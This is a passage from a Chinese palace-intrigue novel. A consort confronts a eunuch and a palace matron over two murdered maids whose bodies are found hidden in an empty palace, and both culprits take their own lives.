江舲忙道:“我早说不敢告诉皇上,瞧,皇上果真又生气了。天气热,仔细着急上火。皇上要好生保重龙体才是,问几句话的事,我去替皇上问一问。” 元明帝近来躺得快要长褥疮,一听江舲让他保重龙体,虽摆出了天子的威严,脸色却缓和了下来。 “哼,你去吧,问问宋宫正如何回事,两个活人,哪能就不见了。” 江舲道是,“皇上,让黄梁他们搀扶着走动走动,别躺久了。”她关心完元明帝,又对黄梁道:“等下待太阳升高些,皇上好生洗一洗,被褥都更换掉,拿出去晾着好生晒一晒。” 黄梁赶忙一一应下,元明帝见江舲事无巨细交代,他心里很是受用,斜撇过去,嗔怪地道:“就你成日花样多,朕时常沐浴,皮都快要脱掉一层了。” 卧床日久,屋中总是一股子散不开的酸臭味。江舲若非为了自己舒适些,她才懒得搭理元明帝。 从卧房出来,江舲并未让人去传宋宫正,她在廊檐下来回踱步,沉吟之后,前去了袁长生的直舍。 照她的估计,袁长生的伤应该已经好得七七八八。他始终不曾露面,张善当差也顺利,底下的人都听话服帖。 柳贤妃那边亦一样,萧珈棠被挪到撷芳阁,她对此一声不吭,仿佛从未扶养过一般。 枸杞水莲不见了人,线索就断在了此处。她们是宫正司的人,要是出了问题,他们也可以推到宋宫正身上去。 江舲直觉相信,宋宫正不会招供。 小院的门虚掩着,文涓上前推开,狭小的院落尽收眼底。 收拾得整整齐齐的花草,长得翠绿茂盛。角落里栽种的几颗虞美人,长势格外喜人,苍绿得如碧玉。 袁长生身着青布半旧衣袍,用布巾轻轻擦拭着虞美人的叶片。他微微弓着身子,从身后看去,仿佛能看到嶙峋的骨头。 听推门的动静,袁长生转过头来,消瘦苍白的脸庞,那双幽深如寒潭的眼眸,目光锐利如刀。不过,他见到是江舲,意外了下,很快躬身请安:“不知娘娘大驾光临,未曾远迎,还请娘娘恕罪。” 江舲微微颔首,迈步走了过去。袁长生目露为难,道:“屋中简陋,惟恐怠慢了娘娘,不敢招呼娘娘进得屋去。” 内侍宫女的直舍都矮小,屋门敞开着,里面收拾得一尘不染,摆放着几张陈旧案桌椅、 “无妨,外面亮堂,我就在这里与你说几句话。” 江舲让文涓她们在一旁候着,她独自走过去,指着院中的花草,好奇问道:“这些都是你养的花?” 袁长生恭敬地道:“奴婢得闲之时,喜欢侍弄花草。小院的花草都是奴婢所养,都是些野花野草,让娘娘见笑了。” 江舲四望打量,道:“长得倒是挺热闹,看来你费了不少的功夫。养花草需要耐心细致,以前你在勾当巡护皇宫时,几乎不见歇息,这一日下来,估计都歇不了几个时辰。你如此辛劳,所为如何呢?” 袁长生脸上狐疑掠过,他谨慎地答道:“奴婢是劳碌命,歇不得,一歇就无法安心,怕吃穿没了着落。娘娘贵人踏贱地,不知有何贵干?” 江舲道:“宫正司的枸杞水莲突然不见了,估计早没了命。你可知道,她们在何处?” 袁长生顿了顿,答得滴水不漏:“既是宫正司的宫女,奴婢就不清楚了。何况奴婢前些时日被皇上责罚,早不在勾当皇宫的差使上。奴婢不知她们的下落,还请娘娘见谅。” 江舲哦了声,不紧不慢地道:“我已知她们在何处。” 袁长生握着布巾的手,不禁拽紧了又松开,道:“娘娘既知晓,奴婢着实松了口气,总算能将她们找到了。” 江舲扬了扬眉,故意放慢了语速,一字一顿道:“在我让人去找之前,先来问一声你。” 袁长生神色微微一变,“奴婢愚钝,不明白娘娘所言何意。” 江舲道:“我的意思很简单,待我寻到人,便直接让丁皇城使提审宋宫正。你在宫中当差多年,也清楚物证人证这些劳什子东西,说有就有,就算没有,那又如何。几棍子打下去,柳树巷算是最好的归宿了。” 她抬手指了指袁长生,笑笑道:“当然,像是你这般被杖责二十大板,只受了些皮肉伤的不算在内。” 袁长生心头猛跳,后背阵阵发寒,他眸色沉沉,微不可查往后退了半步,“娘娘,奴婢命贱,自小挨打挨骂,皮厚肉糙。打得皮开肉绽,只咬牙忍一忍,挺过不死,也就过去了。” 江舲道:“二十大板打下来,五脏六腑应该都会遭殃,死活只能听天由命。我当时听到你在养伤,便知道你应该没伤到脏器,执杖之人应该是手下留情了。当然,我并非要将你打得半死,毕竟我心善,一向不推崇这样的惩罚。” 袁长生何等聪明之人,他马上恭敬地抬手一礼,道:“娘娘慧眼如炬,将底下奴仆的弯弯绕绕瞧得一清二楚。娘娘慈悲,不曾指出奴婢挨打,是得人高拿轻放,奴婢才留得一条贱命。奴婢多谢娘娘不杀之恩。” 江舲笑了声,笑意不达眼底,道:“我不是不杀啊。” 袁长生僵在那里,他缓缓道:“娘娘要杀了奴婢,奴婢绝不敢反抗。” “我杀,是因这人该死。我不杀,是因着罪不至死。” 江舲说了句,她看向袁长生:“我也听过你幼时的一些事,你出身于花楼,身世确实凄惨。有人因不被疼爱,长大后变成冷情冷血,人不像人鬼不像鬼的怪物。有些人呢,得人施舍一点善意,即便肝脑涂地,也要报答这份恩” 她的话语一停,袁长生薄唇紧抿,目光定定盯过来,脸上血色尽失。 江舲坦然地迎着他冰冷的视线,缓慢地道:“或情。” 袁长生这时再也控制不住情绪,脸色大变。他紧绷地身子,簌簌发颤。 江舲像是在聊家常那般,随意问道:“你在幼时,可有遇到过恩人,连命都肯舍去的恩人?” 过了好一阵,袁长生才挤出几个字,他似乎在拼命克制,声音都变得暗哑:“娘娘,奴婢不得上苍垂怜,不曾遇到过。” 江舲神色不变,继续问道:“你长成了哪种人,是怪物,还是投我以桃你,报之以琼瑶?” 袁长生的呼吸愈发急促,他的神色狰狞起来,“奴婢没读过书,不懂得这些深奥的道理。奴婢只知道当差养活自己,别无他想。” 江舲不为所动,道:“常言道,将心比心,话简单,很多人都做不到。唉,这世上人太少,不人不鬼的多了些。很多人总为自己的举动,安上一些借口,认为自己所行,乃是正道,或者有诸多的不得已。杀人就是杀人,歹毒就是歹毒,别骗自己,也休要拿来哄骗他人。” 风起了,吹动袁长生的衣袍,他跟着风,一起摇摇欲坠。 江舲从头到尾都不提柳贤妃半个字,她神色陡然一沉,冷冷地道:“宋宫正要是死了,算是因谁而死。袁大福,这份亏欠,就是拿命去偿还,也弥补不了!” 第113章 夏日太阳灿烂猛烈, 袁长生立在日头下,苍白的脸犹如结了层白霜。毫无生气。若非他控制不住地呼吸湍急,好似活死人一样, 令人毛骨悚然。 不知过了多久,袁长生脸上终于有了些人色, 浮起极淡的笑,“慧淑妃, 奴婢贱命一条, 早就将生死置之度外。” 江舲满不在乎地哦了声,她走到种着茉莉的花盆前, 摘了一朵盛放的茉莉花凑到鼻尖,茉莉幽香扑鼻。 袁长生视线紧随着江舲, 逐渐变得烦躁不安。受伤之后身子到底虚弱, 他双腿酸软乏力,摩挲着在廊檐石阶上坐下,拽着布巾, 垂首大口喘息着。 “你害怕吗?”江舲走过去, 问道。 袁长生缓缓抬头看过来, 他嘲讽地笑了, “奴婢说过了, 奴婢贱命一条, 要杀要剐悉听尊便。” “你院子的花草养得不错,瞧这凤仙花, 茉莉, 这些花草确实不值钱,却颇为有用。凤仙花做蔻丹,颜色艳丽, 经久不退。茉莉花窖茶,茉莉花的味道霸道,茶香永远盖不过花香。” 江舲指着齐整的小院,慢悠悠地说着,“害怕是最正常不过之事,因你在这世上有牵挂。像这满园的花草,淡泊宁静的日子。记得我以前对你说过,膝盖别那般软,总将下跪提到嘴边。我再与你多说一句话,别把自己的命不当做回事,把他人的命也不当做回事。” 袁长生猛然一震,一瞬不瞬地望着江舲,神情渐渐变得痛楚。他惨然一笑,道:“慧淑妃心善,慈悲,从未低看我们这些不男不女的阉人。慧淑妃的见解不凡,只对不住了,我除了拿这条贱命豁出去,一无所有。” 江舲皱了皱眉,好奇问道:“当年你进宫做内侍,可是得了人的提点?” 袁长生僵了僵,紧闭着薄唇一言不发。 “果真如此。”江舲并未提及柳贤妃的名字,了然一笑。 袁长生自宫进宫,是因为柳贤妃的点拨。 “你确实能豁得出去,做内侍不易,痛得死去活来,身心皆受尽折磨,闯过鬼门关才活了下来。但凡能有出路,谁愿意来受这份罪呢?” 江舲叹息摇头,她再摘了一束茉莉,在面前比划着:“你生得好看,茉莉远不如你。好看的皮囊不多见,是上苍的恩赐。你进了宫,一飞冲天再正常不过。” 袁长生愣住,额头有冷汗低落,焦躁不安地挪动着身子。他见江舲目光平静打量着他,下意识地敛着眼睑,紧咬着牙关,始终闭口不言。 “我与你说一件事,估计你还不知道。”江舲望着袁长生,笑笑道。 “慧淑妃休要再说了,奴婢不想听!”袁长生蓦地睁眼眼,太阳强烈,他的脸扭曲颤动,痛楚地低吼。 “大公主带着磨得锋利的剪子来见皇上,她虽年轻,一向沉稳聪慧。她怎地突然就变了,不知此举的后果。” 江舲轻声说着,指着院中的花草,问道:“你养的这些花草,要是都拔掉,你肯定会心疼。大公主快及笄了,唉,乖巧听话懂事的小娘子,说舍去,就舍去了。” 袁长生似乎再也无法承受,猛然站起身,狼狈踉跄着往屋内跑去。奔了几步,他停了下来,手撑着墙壁,额头抵在上面喘息。半晌后,他回转身看向江舲,眼眸通红。 “娘娘出身官家,养在深闺中长大。花楼妓家这种地方,在娘娘面前提一声,都算得上是僭越,脏了娘娘的耳。” 袁长生的神情平缓下来,背靠在墙壁上,微微仰头,望向远处的天空。天空一望无垠,巴掌大的白云偶尔飘过。 “无论男女,在花楼楚馆中,皮囊好,就能卖个好价钱。靠着这张皮囊,使得恩客争相捧着金银宝贝前来,赚得美酒佳馔,锦衣华服,宝马香车,甜言蜜语海誓山盟。年纪越小,最好是雏儿,能赚得越多。” 江舲静静地听着,她大致猜到了,他阿娘去世,花楼失火,他逃了出来,应当与此有关。 雏儿能卖更高的价钱。 “外面又何尝不是如此,哪怕生得白净一些,就会被人言语戏弄挑逗。若不入宫,娘娘以为,还能做甚呢?当娈童,当小倌,做奴仆?” 袁长生眉眼舒展开,从未有过的从容与自在。他笑了起来,笑容若有繁花盛放。 “娘娘,多谢你的一番好意。我这一生,没甚后悔,也没甚遗憾。要是有对不住的人,亏欠了的人,我弥补不了。亏欠我的,我也不一一讨还。此生的债,就此生毕。” 说罢,袁长生朝江舲深深长揖下去,起身走了进屋,不曾回头。 很快,屋中传来“咚”地一声。 太阳逐渐爬上正空,江舲立在那里,手脚一片冰凉。她稳了稳神,抬腿朝屋内走去。 文涓她们不放心,赶忙跟了上前。到了正屋,见江舲站在东屋门前,文涓走了过来,禁不住低呼出声。 东屋陈设简单,临窗放着一张半旧的竹榻,两张几案圆凳。 竹篾窗棂卷起,光亮透进来,照在袁长生的后背上。他侧身俯趴着,血溅满屋。 “娘娘……”文涓惊惶地看向江舲,眼眸湿润了,语无伦次起来,“娘娘,他……” 江舲眼前一片通红,浓烈的血腥扑来,诡异地夹杂着茉莉花的香气。她疑惑地抬起手,看到手上仍然拿着的茉莉花枝。 只不过瞬息之间,茉莉花就枯萎了。 江舲没有做声,转身离开。她走下石阶,穿过庭院出了院门。 到了垂拱殿附近,江舲走出夹道,朝坤宁宫走去。坤宁宫大半划入了繁英阁,大门紧闭着,只留着几个洒扫粗使内侍看守。 守门的内侍见到江舲前来,赶忙奔出来请安。江舲吩咐道:“你们进去仔细找,仔细闻,看土可有翻动过。” 虽不明白江舲话中之意,几人不敢多问,赶紧照着她的吩咐,进去仔细寻找。 江舲站在门外等着,过了约莫一盏茶的功夫,一个老内侍惊慌失措地跑了出来。他连话都说不清楚,哆嗦着道:“娘娘,在后殿寝宫墙后,有有两具尸首。尸首已经腐烂了,瞧着发髻,所穿衣衫鞋履,应是两个宫女。” 接连着,其他几人也跑了回来,噗通跪地求饶。 “娘娘饶命啊,娘娘饶命啊!奴婢不知尸首从何而来,尸首藏在后墙,平时那里极少人去,奴婢万万想不到啊!” 江舲与袁长生说她知道枸杞水莲下落时,实则是她的灵光一现。 皇宫宽敞,乌泱泱挤满了主子奴仆。垂拱殿以及各大殿禁卫森严,后宫寝宫都住着人,极难藏住尸首。 空置的屋宇则只剩坤宁宫,以及江舲曾住过的繁英阁。繁英阁留着的人手多,何况仍然属于她的寝宫,她极有可能随时回来。 坤宁宫则不一样,已经空置多年。洒扫的内侍也敷衍,随便将大殿等抹一下了事。 以夏日的气候,尸首很快腐烂成白骨。过后再将尸骨捡走,她们的下落,可能永远成谜。 无论两人当时是死是活,要把她们弄进坤宁宫,就必须熟悉护卫的巡逻路线,时辰。 兴许是天气太热,江舲胸口闷得慌,她深深呼出口气,对跪在那里的内侍道:“你们想活命,就要紧闭上嘴。还不快去收拾干净!” “是是是,奴婢遵旨。”几人死里逃生,连滚带爬起身,撒开脚丫子跑去收敛尸首。 江舲回去垂拱殿,进了琼华阁,她对迎上来的黄梁说道:“枸杞水莲的尸首找到了,在坤宁宫。” 黄梁大惊,“什么,谁这般胆大包天,居然敢将尸首藏在坤宁宫!” “我已经让他们在收拾,你派人去收敛齐整,送出宫去安葬了吧。” 江舲停顿片刻,道:“袁长生自尽了,找具棺材用冰放好,先别送出宫。” 黄梁似乎没能反应过来,他双眼圆瞪着,愣愣道:“袁长生死了?” 江舲嘴角牵动了下,她不想多说,转身回了偏屋。 紫衫送了茶水进屋,道:“娘娘,皇上先前问娘娘去了何处,让娘娘赶紧回来。” 江舲靠进椅子里,端起茶吃了两口,揉着眉心歇息片刻,努力打起精神,进了卧房。 元明帝正在批阅折子,不悦地瞪着江舲,“问几句话而已,你怎地去了这般久?” 江舲在锦凳上坐下,道:“皇上,枸杞水莲的尸首找到了,在坤宁宫寝宫的后墙处。” 元明帝先是一怔,旋即大怒:“混账东西,真是要造反了!查,给朕查,朕要灭了他们的九族!” 江舲劝道:“皇上莫要着急动怒,龙体要紧啊!” 元明帝气得发抖,一把将面前的几案掀到地上,奏折洒落得到处都是。 “坤宁宫是中宫,是皇后的寝宫!皇后母仪天下!连坤宁宫都敢不敬,朕的垂拱殿,也不会被放在眼里,接下来,就该轮到垂拱殿了!” 越想元明帝越愤怒不安,他挥舞着手臂,嘶声力竭道:“查,去给朕查清楚!” “好好好,皇上放心。” 江舲忙安抚着元明帝,按住他的手臂,关心地道:“皇上,仔细扯到伤腿。” 元明帝反手握住江舲,他眼中透出惊恐,急切地道:“你不懂,坤宁宫何止是皇家的脸面有哪些人知道此事,将他们统统杀了!” 江舲克制住心里的厌恶,温声道:“皇上,已经许多人知道了,要杀人的话,只怕杀不完。” 元明帝眼前一黑,差点晕过去。他咬牙切齿地喘着粗气,神色可怖,仿佛要吃人一样。 江舲耐心道:“皇上先缓口气,听我仔细与皇上说。” “朕要他们都死!”元明帝靠在床头,浑身杀意凛冽,声音从齿缝中溢出,阴恻恻道。 “皇上,袁长生死了。”江舲轻声说道。 元明帝一时没想起袁长生是谁,他茫然了下,“谁?” 江舲沉默一瞬,再次说了句,“是袁长生。” 元明帝想起他来,皱眉道:“他没本事当不好差,连二十大板都受不住,都怪他命薄。天气热,赶紧收拾出去埋了,留着晦气!” 虽早已清楚元明帝的性情,江舲还是要拼命克制,才压住了胸口翻滚的情绪。 “皇上放心,我与黄梁交代过,已经去收拾了。” 江舲心情沉重,她实在不愿与元明帝多言,更不想再多提其他。她俯身捡起奏折放好,说道:“午膳的时候到了,我去给皇上传膳。” 用完午膳后,元明帝开始歇息。江舲躺在外间榻上,睁大眼望着头顶的藻井,心头萦绕的萧瑟,怎地都散不开。 里间,元明帝已经睡得沉了,肥硕的身躯,鼾声如雷。 江舲直直坐起身,下榻趿拉上鞋子,疾步奔向宫正司。 第114章 宫正司大门半开, 高大的梧桐树枝繁叶茂,挡住了正午炽热的太阳,鸣蝉有气无力叫唤几声, 显得莫名地阴森,安静到诡异。 阿箬与紫衫曾被关进来过, 再次来到此地,她下意识打了个寒噤, 紧张地四望, “怎地不见人?” “娘娘且先等等,奴婢去瞧一瞧。”阿箬不放心, 挡在了江舲面前。 “那里有人。”江舲朝东侧虚掩的门指去,阿箬青檀要上前, 她拦住了, “你们且等一等。” 宫正司共三进院落,后两进是关押审问犯人之处,最前面一进是办差的值房。 宋宫正并未居上房, 东侧的两间屋子, 一间办差, 一间摆了张狭小的木榻。宫正司忙碌, 她大多歇息在此。 江舲上前, 透过门缝看到宋宫正背靠墙壁坐着, 左手侧案桌上整齐地摆着卷宗,文房四宝。 听到动静, 宋宫正眼珠动了动, 缓慢地转动脖子,朝江舲看来。旋即,她就神色淡然转了回去, 照原样坐着,微微仰着头,似乎在发呆,又似乎在养神。 江舲瞧着宋宫正的反应,心微微一沉,她来晚了些。 推门进屋,江舲搬了圆凳摆在宋宫正对面,与她对视而坐。 宋宫正身上七八成新的灰绿女官衣袍,浆洗得笔挺,发髻梳得一丝不苟,双手搭在膝盖上,一贯地不苟言笑。面无表情时,眉心的川字纹隐约可见。此刻她背着光,川字纹透出苦相,像在哭泣。 “你都知道了?”江舲静静问道。 宋宫正也静静答道:“是,我都知道了。”说完,她补充了句,“总是逢人便点头哈腰见礼,我着实没力气动了,娘娘请担待些。” “无妨。”江舲说了句,问道:“枸杞跟着你多年,对你忠心耿耿,你怎么狠得下心杀她?” 宋宫正反问道:“我对皇上忠心耿耿,皇上可能饶我一命?” 江舲笑了,道:“你这叫诡辩。若非你私自让枸杞水莲出去给赵侍郎传消息,事后欲掩盖罪行,杀了她们藏尸坤宁宫,你就不会有事。我不明白的是,枸杞水莲不见了,你以为死无对证,便能掩饰过去?” 宋宫正面色如常,道:“宫女内侍都是奴,哪怕做到五品女官,在主子面前亦命如草芥。主子无需证据,将我拿下杖毙就是。毁尸灭迹,是我唯一能使的手腕,再无他法。” “你看得很透彻。”江舲赞了声,又忍不住叹息,“可惜了。” 文涓秦尙宫她们都算得上聪明,却远不能与宋宫正相比。 律法上写得一清二楚,奴杀主,罪加一等。主杀奴,从轻发落。 律法皆是对平民百姓所定,对士绅形同虚设,何况是皇家。 在等级森严的封建大胤,奴仆与主子玩谋略心机,简直滑稽至极。 宋宫正眼珠转动,这时认真地看了过来,“娘娘知道是我,为何当时不直接将我打杀了?” “如你所言那样,你在主子面前的命如草芥,我这个主子不讲证据,将你直接杀了。这世上,便真只有漫长黑夜了。” 江舲抬起手指比划着,“我也做不了太多,撑起一道细小的缝隙,能勉强窥到一线天光。” 宋宫正四平八稳的脸上,终于出现一丝皲裂。她怔怔望着江舲,眸中缓缓泛起泪光。她仓皇抬手蒙住脸,泪水从指缝中滑落。 江舲也不说话,拿起桌案上的一册卷宗,随意翻看。宋宫正的字写得工整秀气,宫女内侍进宫时,读书的极少,顶多只粗识几个大字。宋宫正能学到这般,除聪明之外,应该下了不少苦功夫。 宋宫正无声哭泣完,取出帕子擦拭干净脸,哑着嗓子道:“这些都是宫正司处理的案子,宫女们当差出错,得罪了主子,送到宫正司来处置。我这些年来,手上站了无数条人命。能从宫正司齐全走出去,我只记得两人,她们是娘娘跟前当差的阿箬紫衫。娘娘亲自冒着大雨,前来把她们领了回去。” “阿箬紫衫奉我的命去探望高美人,她们不该因我受责罚。” 江舲朝外指去,笑着道:“阿箬在外面,她来到宫正司,仍心有余悸。” “以前我对人用刑时,得了不少的诅咒。有人骂我迟早也会落到这一天。我觉得她骂得对,我造孽太多,肯定不得善终。” 宋宫正抬眸望着江舲,神色疑惑而悲伤,“我拼了命挣到这个位置,照着主子吩咐当差。我要是做不好,我就变成了她们一样的下场。” 江舲放下卷宗,默然片刻,道:“这个问题,我现在一时也回答不了你。” 宫中的内侍宫女众多,七七八八加起来统共有近两千人,必须要有规矩来约束。轻了,会造成混乱,重了,则会死伤无数。 宋宫正抽出一册卷宗递给江舲,道:“这是一宗旧案,当年高宗时期,有个王姓宫女听许美人的命令,出宫去京城府衙传消息,让免了几个工匠的市租。府衙的杨通判不从,向高宗告状,上旨请求严惩宫女。宫女被杖毙。” 江舲接过粗粗翻看,合上卷宗,道:“她不听许美人的命令,肯定也落不了好。她听令行事,丧了命。杨通判无耻,他不敢参奏许美人,却拿弱小的宫女,来换取自己刚正不阿的官声。许美人敢私自传旨,后宫干政,她应该很受高宗宠爱,顶多被斥责几句,继续享受荣华富贵。可是这般?” 以前她看到那些忠仆,为主子生,为主子死,义薄云天。主子享受荣华富贵,他们跟着能鸡犬升天。不过,大多的忠仆,好似都没好下场,活不到鸡犬升天那一日。 她若当时不及时赶到宫正司,强行带走阿箬紫衫,她们两人即便不受刑,在阴森的宫正司呆一晚,约莫也会饱受惊吓。无论是精神还是身体,以大胤的医术都治不好,她们算是在死门关走了一圈。 “是。”宋宫正眼眸亮了亮,抿嘴一笑,“娘娘聪慧,窥一斑而知全豹。”她脸上的笑容极淡,几乎一闪而过。 “娘娘,我名叫虫娘。十岁入宫,家中有个哥哥,一个姐姐。阿娘共生了六个孩子,家贫养不起,溺亡了两个,二哥哥在两岁时夭折了。姐姐嫁到邻村,给哥哥换了亲,我被选进了宫。爹娘早早病亡,五年前家乡先是遭了虫灾,接着干旱,哥哥姐姐全家老小出去逃荒,从此音信全无,应当已不在人世了。” 宋宫正语气平淡,像是在闲话家常一般,说着自己苦难的身世。 “像我这样的穷苦出身,再也寻常不过,以前带着我的师傅黄宫正也一样。她家中没了亲人,留在宫中做女官,直到五十岁老眼昏花,被送到西山的庵中荣养。庵中的日子,只留着一□□气,能拿到宫中的前两贴补就算数。师傅有我在,她的日子好过些,活到了五十五岁才去世。其他的老宫女……她们无依无靠,已经没了用处,巴不得他们死,好省些口粮。吃斋念佛的庵庙,比起宫正司的刑房还可怖。” 宫女内侍年老后,出宫后如何养老,江舲打算听从黄梁文涓他们的意见,找到适合的方式。 人不能被逼到绝境,要是有了盼头,能安享老年,他们去替主子做坏事时,便会再三斟酌。宫中的争斗,腌臜事也会少许多。 江舲迟疑了下,还是直言不讳道:“你师傅有你,她能过得好些。你杀了枸杞,是不曾为以后出宫做考量,还是有人许诺了你什么?” “他说厌倦了在宫中的尔虞我诈,要与我一起出宫,毗邻而居。” 宋宫正往后仰,后脑抵在墙壁上,眼眸望着上空某处,脸上浮起如梦如幻的笑。 “他生得真是好看啊,执着我的手,与我温声诉说。从没人那般待我。就算他是在哄骗我,欺瞒我,我也心甘情愿,不怨他。” 江舲盯着她发青的脸,极力克制的痛楚,心沉甸甸堵得慌。 袁长生给了她一场幻梦,她愿意拿命去换。江舲不敢居高临下指责她傻,她从没拥有过的温情,对她而言,比命还要珍贵。 江舲沉默之后,问道:“你可要去看看他?” 宋宫正微微卷曲着身子,手压住了小腹。待喘过一口气,她摇摇头,道:“人死了不好看,我不去看他了。娘娘,对不住,我不能让他难过,去给你作证,指认柳贤妃了。” “我没打算让你去作证。”江舲说道。 她与柳贤妃的争斗,她要的登顶之路,即便是尸横遍野,也不该拿这些蝼蚁来填补。 宋宫正定定看着江舲,眼眸再次泛泪,道:“多谢娘娘,留我个全尸。” 江舲确实没打算深究,对袁长生的死因,她在元明帝面前只字不提。因为一旦被他得知,袁长生将会曝尸荒野。 无论袁长生或是宋宫正,他们有万般的不得已,别无选择。他们的双手,亦沾满了鲜血。 以命抵命,身死债消。 腹中翻滚着,巨大的痛楚蔓延全身,宋宫正知道自己喝下的枸那汁发作了。豆大的冷汗滑落下来,她紧咬着牙关,死命忍住一声不吭。 江舲眼睛刺痛,她别转视线,稳了稳神,问道:“你可要与他葬在一处?” “不了。” 宋宫正待那股钻心的刺痛过去,语气急促,毫不犹豫地拒绝:“他其实从未将我放在心上过,他看的不是我,情意也不是对着我。” 她努力端坐直身,抚平褶皱的衣裳,理顺鬓角的发丝,一如平时那样端庄自持,挤出一丝笑,道:“黄泉路上,从此一别两宽。” 第115章 落日归西, 将窗棂染得通红。 “娘娘,张善来了。”阿箬进屋,偷偷打量着侧首沉思的江舲, 小心翼翼地请安。 从宫正司回来之后,江舲就独自在偏屋, 足足枯坐了一下午。阿箬见她神色如常,心勉强落回肚中, 取出火折子掌灯。 灯烛次第亮起, 江舲眼眸干涩难受,她垂下眼眸适应片刻, 道:“让他进来吧。” 阿箬听到江舲的声音暗哑,忙提壶倒茶。摸到冰凉的茶壶, 她赶紧捧着出去换温茶。 张善一头汗进了屋, 阿箬换茶水回来,顺道替他也斟了一盏。张善赶忙躬身道谢,阿箬面上客气, 心里却暗自骂他。 “黑了心肝的!袁长生没了, 就差唱大戏庆贺, 瞧这得意劲, 真真是贼眉鼠眼!” 张善哪知阿箬心里所想, 待她出屋后, 忙道:“娘娘,奴婢查了, 枸杞水莲不见当日, 没有当差的名录。其中袁长生的亲信杨应称他吃坏了肚子,在值房歇息。与杨应唯命是从,总在一处玩耍的几人, 那天也恰好不当值。奴婢照着娘娘的吩咐,问他们谁要去给袁长生上柱香。袁长生的棺木,明朝就要送出宫去安葬了。” 那日下雨,护卫对宫中夹道了熟于心,又清楚护卫的路线,经过的时辰。帮宋宫正解决枸杞水莲,板上钉钉就是杨应他们。 江舲看着张善脸上升起的谴责之色,道:“无人前去?” 张善一拍大腿,热情地拍着江舲马屁:“娘娘料事如神,算无遗策!杨应托辞要当差,实在挤不出功夫前去。待日后歇息时,求个恩准出宫去墓前上香拜祭。亏得以前袁长生待他们千般照佛,人未走远,茶未凉,这些人就翻脸不认人了。” “他们要避嫌。”江舲说了句。 张善怔住,瞬间变了脸,愤怒地道:“真真可恨,居然贼心不死!娘娘,奴婢这就去把他们都捆了,奴婢偏生不信,他们还敢反抗,连娘娘的旨意都敢不遵!” 袁长生一死,护卫们失去主心骨,人心泛散,一朝天子一朝臣,再忠诚,总要考虑到以后的处境。 张善摩拳擦掌,明晃晃打算趁此机会,收服护卫们。江舲不喜张善的行经,杨应他们有此反应,应当得了柳贤妃的指使。 袁长生死得突然,杨应他们理应有所觉。要是他们前去祭拜,便成了同一阵营之人,指不定会被一网打尽。 只他们不去,又显得欲盖弥彰,好处在江舲抓不到把柄。 “你多防着他们一些,别无端生事。”江舲叮嘱了句,又道:“袁长生宋宫正接连没了,宫中怕是人心惶惶,你得时刻警醒着,别闹出动静来。” 张善赶忙应是,“娘娘放心,奴婢只听令娘娘旨意行事!奴婢这就去巡护,看着他们别乱嚼舌根。” 江舲心情低落,她不欲搭理张善,让他退下了,起身前去卧房。 黄梁行色匆匆,闷头从门外走进来。江舲停下脚步,与廊檐下玩耍的萧允瓒萧允琅说着话。 “阿娘,我想与阿琅独自用膳。”萧允瓒玩得一头汗,一手拽着竹蜻蜓,一手拉着江舲衣袖撒娇。 “你为何想与阿琅一起用膳?”江舲见萧允琅跟着眼巴巴看来,好笑地问道。 “阿爹脸色这样……”萧允瓒飞快看了眼卧房方向,板起脸道:“阿瓒阿琅,你们成日玩耍,书读到哪一本了,大字写完没有!阿娘,阿爹凶得很,今朝格外凶,我要避一避。” 世俗规矩奉行严厉教导。元明帝从先皇处学到了父亲怎样对待儿女。江舲再纠正,他始终改不过来,对萧允瓒萧允琅少有好脸色,兄弟两人对他避之不及。 元明帝三天两头发脾气,江舲见怪不怪,她见黄梁走近了,道:“好,你们两人回屋去用膳吧。” 萧允瓒萧允琅高兴地应了,玩着竹蜻蜓回屋。黄梁一头汗上前,道:“娘娘,都办妥当了,待明朝一开城门,就将棺木送出去安葬。” 江舲点头道辛苦,黄梁忙道不敢,他迟疑了下,道:“娘娘,宫正司那边离不得人,娘娘可有安排了?” 宫正司如今群龙无首,江舲先前就已经考虑过。宋宫正没了,元明帝对她的在意,肯定比不过宫正司这个位置。 黄梁特意问,他应该想要趁机提拔自己交好的宫女。江舲清楚他的用意,只她没有接话。 做宫正司女官之人,首要是善良,其次是聪慧。善良之人领着宫正司,送进去之人能少受折磨。聪慧者能护住自己,当稳差使。 江舲道:“宫正司之事要皇上做主。你先下去歇一歇,等下我与皇上提。” 思及元明帝的脾气,黄梁不敢多问,忙应了声,“奴婢一身的臭汗,恐冲撞到娘娘皇上,先下去更洗。” 进了卧房,元明帝果真黑沉着脸靠在床头,见她独自进门,不悦地道:“阿瓒阿琅两个小混账呢?” “他们吵得很,我让他们自行用膳了。”江舲说道。 “慈母多败儿,他们淘气,还不是你平时惯着。”元明帝从鼻孔哼了声,数落了江舲,又开始骂萧允瓒萧允琅。 “朕像是他们这个年纪,早读到《论语》。他们只学完了《千字文》,大字也敷衍了事。阿瓒那个小子尤其不听管束,教训他一句,他要顶十句回来,真是没规矩!” 江舲心平气和地听着,她早已不与元明帝争执,对萧允瓒萧允琅的教导,她肯定不会让元明帝插手。毕竟以元明帝自身的品行与本事,他教出正常的人都是难于登天。 元明帝嘴边挂着一堆白沫,浑然不觉,仍喋喋不休地骂着。内侍送膳食热水进屋,伺候他净手净脸用膳,总算暂时消停。 用完晚膳,黄梁前来当值,与内侍一起搀扶他在卧房缓慢走动。他躺了好几个月,腰快与箩筐一般粗壮,偏生虚弱无力。 黄梁与内侍使出浑身力气撑着他,累得额头青筋直冒,颤巍巍往前挪动。 “你去了何处,一下午都不见人影!”元明帝先前的气没出痛快,看到黄梁,马上生气质问。 “皇上,奴婢去办了些差事。”黄梁偷瞄了眼江舲,含糊地说道。 “朕何时吩咐你差事了?”元明帝眉头一皱,怒道:“好你个大胆刁奴,莫非你去矫传圣旨了?” “皇上,我让他去办了些差事。”江舲赶紧说了句,使眼色让黄梁内侍扶元明帝回床上躺着。 元明帝瞪着江舲,沉声道:“黄梁是朕的贴身内侍,你竟不与朕知会,随意指使。” 江舲默然不语,等黄梁内侍伺候着元明帝在床上躺好,挥手让他们退下,在床边坐下来,斟了盏茶递过去。 “朕不吃!”元明帝拉着受伤的腿,烦躁地道:“吃多了茶水,夜里起夜折腾。黄梁呢,你又把他支到了何处去?” 江舲放下茶盏,道:“我与皇上说几句体己话,让黄梁他们下去了。午间宫正司的宋宫正没了,我让黄梁去收敛安葬。” 元明帝一下愣在那里,难以置信地道:“好生生的人,怎地就突然没了?” 江舲叹着气,道:“天气炎热,冬日严寒,都难熬,身子遭不住。” 